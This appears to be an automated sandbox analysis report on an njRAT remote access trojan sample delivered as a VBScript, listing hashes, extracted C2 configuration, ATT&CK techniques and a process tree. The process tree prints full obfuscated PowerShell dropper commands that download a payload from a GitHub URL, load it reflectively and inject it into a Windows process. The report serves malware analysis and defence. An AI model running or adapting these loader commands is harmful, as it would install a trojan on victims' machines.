njrat | 76909f885c6b7247c7176b2cc08830c78b8b831bf7d3f0d9eec38da53e8ae93b

Analysis

max time kernel
146s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
04-10-2024 08:03

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General

Target

segura.vbs
Size

483KB
MD5

52917612f2ba8deed79d211c0bd5746f
SHA1

dea790f7518809133c06fee3931e742600613a9b
SHA256

76909f885c6b7247c7176b2cc08830c78b8b831bf7d3f0d9eec38da53e8ae93b
SHA512

d7260e28e3749fb5e5933ce1b451c4284da72a155feefacffd679ec7c68fc5906655443bbf40cacb2af7c682107e3c846300a90a05f1bb3e45c3b72026d0c9dd
SSDEEP

12288:3FIsz/Eb1lVfwxg6kUTGuimfRkZGOm76nrONHcIZgBVU4UupEFgAA0bOpZc+wGc8:3Dmjp7BFr

Score

10^/10

njrat nyan cat discovery execution trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

exe.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

02oct.duckdns.org:9001

Mutex

68583eab59

Attributes

reg_key
68583eab59
splitter
@!#&^%$

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
7	5012	powershell.exe
17	5012	powershell.exe
21	5012	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4996	powershell.exe
5012	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
14	bitbucket.org
17	bitbucket.org
6	raw.githubusercontent.com
7	raw.githubusercontent.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5012 set thread context of 428	5012	powershell.exe	87

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_regsql.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4996	powershell.exe
4996	powershell.exe
5012	powershell.exe
5012	powershell.exe

Suspicious use of AdjustPrivilegeToken 37 IoCs

description	pid	Process
Token: SeDebugPrivilege	4996	powershell.exe
Token: SeDebugPrivilege	5012	powershell.exe
Token: SeDebugPrivilege	428	aspnet_regsql.exe
Token: 33	428	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	428	aspnet_regsql.exe
Token: 33	428	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	428	aspnet_regsql.exe
Token: 33	428	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	428	aspnet_regsql.exe
Token: 33	428	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	428	aspnet_regsql.exe
Token: 33	428	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	428	aspnet_regsql.exe
Token: 33	428	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	428	aspnet_regsql.exe
Token: 33	428	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	428	aspnet_regsql.exe
Token: 33	428	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	428	aspnet_regsql.exe
Token: 33	428	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	428	aspnet_regsql.exe
Token: 33	428	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	428	aspnet_regsql.exe
Token: 33	428	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	428	aspnet_regsql.exe
Token: 33	428	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	428	aspnet_regsql.exe
Token: 33	428	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	428	aspnet_regsql.exe
Token: 33	428	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	428	aspnet_regsql.exe
Token: 33	428	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	428	aspnet_regsql.exe
Token: 33	428	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	428	aspnet_regsql.exe
Token: 33	428	aspnet_regsql.exe
Token: SeIncBasePriorityPrivilege	428	aspnet_regsql.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2392 wrote to memory of 4996	2392	WScript.exe	84
PID 2392 wrote to memory of 4996	2392	WScript.exe	84
PID 4996 wrote to memory of 5012	4996	powershell.exe	86
PID 4996 wrote to memory of 5012	4996	powershell.exe	86
PID 5012 wrote to memory of 428	5012	powershell.exe	87
PID 5012 wrote to memory of 428	5012	powershell.exe	87
PID 5012 wrote to memory of 428	5012	powershell.exe	87
PID 5012 wrote to memory of 428	5012	powershell.exe	87
PID 5012 wrote to memory of 428	5012	powershell.exe	87
PID 5012 wrote to memory of 428	5012	powershell.exe	87
PID 5012 wrote to memory of 428	5012	powershell.exe	87
PID 5012 wrote to memory of 428	5012	powershell.exe	87

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\segura.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgneycrJzF9dXJsJysnID0gezJ9aHR0cHM6Ly8nKydyYScrJ3cuJysnZ2l0aHVidXMnKydlcmNvbicrJ3QnKydlbnQuY29tL04nKydvJysnRCcrJ2V0JysnZWN0T24nKycvTm9EZScrJ3RlY3RPJysnbi9yZWYnKydzJysnLycrJ2gnKydlJysnYScrJ2RzL21haW4nKycvRGV0YWhOb3RoLVYnKycudHh0ezJ9JysnOyB7MX1iJysnYXMnKydlJysnNjQnKydDb250ZScrJ250JysnID0gJysnKE5ldy1PYmplY3QnKycgU3knKydzdGVtLicrJ05ldC4nKydXZWJDbGllJysnbnQpLkRvJysnd24nKydsb2FkU3RyaScrJ24nKydnKHsxfXVyJysnbCk7JysnICcrJ3sxJysnfWJpbicrJ2EnKydyeUNvbnQnKydlbnQnKycgJysnPScrJyBbU3knKydzdCcrJ2VtLkMnKydvbicrJ3YnKydlJysncnRdJysnOjpGcicrJ29tQmFzJysnZTY0U3RyaScrJ25nKHsnKycxfWJhc2U2NENvbnQnKydlbnQpJysnOycrJyB7MScrJ31hc3NlbWJsJysneScrJyA9IFtSZWZsZWN0JysnaW9uJysnLkEnKydzc2VtYmwnKyd5XScrJzonKyc6JysnTG9hZCh7MX1iaW5hcicrJ3lDb250ZScrJ250KTsnKycgW2RubCcrJ2knKydiLkknKydPJysnLkgnKydvbWVdJysnOjpWQUkoezB9dHh0LkpOcmFUL3NkYW9sJysnbicrJ3dvZC8ycmF0L2YnKydhc2ZzJysnYWZzbHNkcycrJ2RsdmV1bi8nKydncicrJ28udGUnKydrYycrJ3VidGliLycrJy86c3B0dGh7MH0sIHswfWRlc2F0aXZhZG97MCcrJ30sICcrJ3snKycwfWQnKydlcycrJ2F0aXZhZG97MH0sIHswfWRlc2F0aXZhZCcrJ297MH0sICcrJ3snKycwfWFzcCcrJ25ldF9yZScrJ2dzcWx7JysnMCcrJ30nKycsICcrJ3swfScrJ3swfSx7MH17MH0nKycpJykgLWZbY0hBcl0zNCxbY0hBcl0zNixbY0hBcl0zOSl8ICYoICRQc0hPTWVbMjFdKyRQc2hPbWVbMzRdKyd4Jyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4996
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{'+'1}url'+' = {2}https://'+'ra'+'w.'+'githubus'+'ercon'+'t'+'ent.com/N'+'o'+'D'+'et'+'ectOn'+'/NoDe'+'tectO'+'n/ref'+'s'+'/'+'h'+'e'+'a'+'ds/main'+'/DetahNoth-V'+'.txt{2}'+'; {1}b'+'as'+'e'+'64'+'Conte'+'nt'+' = '+'(New-Object'+' Sy'+'stem.'+'Net.'+'WebClie'+'nt).Do'+'wn'+'loadStri'+'n'+'g({1}ur'+'l);'+' '+'{1'+'}bin'+'a'+'ryCont'+'ent'+' '+'='+' [Sy'+'st'+'em.C'+'on'+'v'+'e'+'rt]'+'::Fr'+'omBas'+'e64Stri'+'ng({'+'1}base64Cont'+'ent)'+';'+' {1'+'}assembl'+'y'+' = [Reflect'+'ion'+'.A'+'ssembl'+'y]'+':'+':'+'Load({1}binar'+'yConte'+'nt);'+' [dnl'+'i'+'b.I'+'O'+'.H'+'ome]'+'::VAI({0}txt.JNraT/sdaol'+'n'+'wod/2rat/f'+'asfs'+'afslsds'+'dlveun/'+'gr'+'o.te'+'kc'+'ubtib/'+'/:sptth{0}, {0}desativado{0'+'}, '+'{'+'0}d'+'es'+'ativado{0}, {0}desativad'+'o{0}, '+'{'+'0}asp'+'net_re'+'gsql{'+'0'+'}'+', '+'{0}'+'{0},{0}{0}'+')') -f[cHAr]34,[cHAr]36,[cHAr]39)| &( $PsHOMe[21]+$PshOme[34]+'x')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5012
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:428

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
1a11402783a8686e08f8fa987dd07bca

SHA1
580df3865059f4e2d8be10644590317336d146ce

SHA256
9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

SHA512
5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fudxwlul.d0w.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/428-33-0x00000000051A0000-0x00000000051AA000-memory.dmp

Filesize
40KB

Download
memory/428-32-0x0000000005260000-0x00000000052F2000-memory.dmp

Filesize
584KB

Download
memory/428-31-0x0000000005630000-0x0000000005BD4000-memory.dmp

Filesize
5.6MB

Download
memory/428-30-0x0000000004FE0000-0x000000000507C000-memory.dmp

Filesize
624KB

Download
memory/428-23-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/4996-11-0x00007FFEA9F40000-0x00007FFEAAA01000-memory.dmp

Filesize
10.8MB

Download
memory/4996-29-0x00007FFEA9F40000-0x00007FFEAAA01000-memory.dmp

Filesize
10.8MB

Download
memory/4996-12-0x00007FFEA9F40000-0x00007FFEAAA01000-memory.dmp

Filesize
10.8MB

Download
memory/4996-0-0x00007FFEA9F43000-0x00007FFEA9F45000-memory.dmp

Filesize
8KB

Download
memory/4996-1-0x0000018F71F40000-0x0000018F71F62000-memory.dmp

Filesize
136KB

Download
memory/5012-22-0x00000262B5E00000-0x00000262B6020000-memory.dmp

Filesize
2.1MB

Download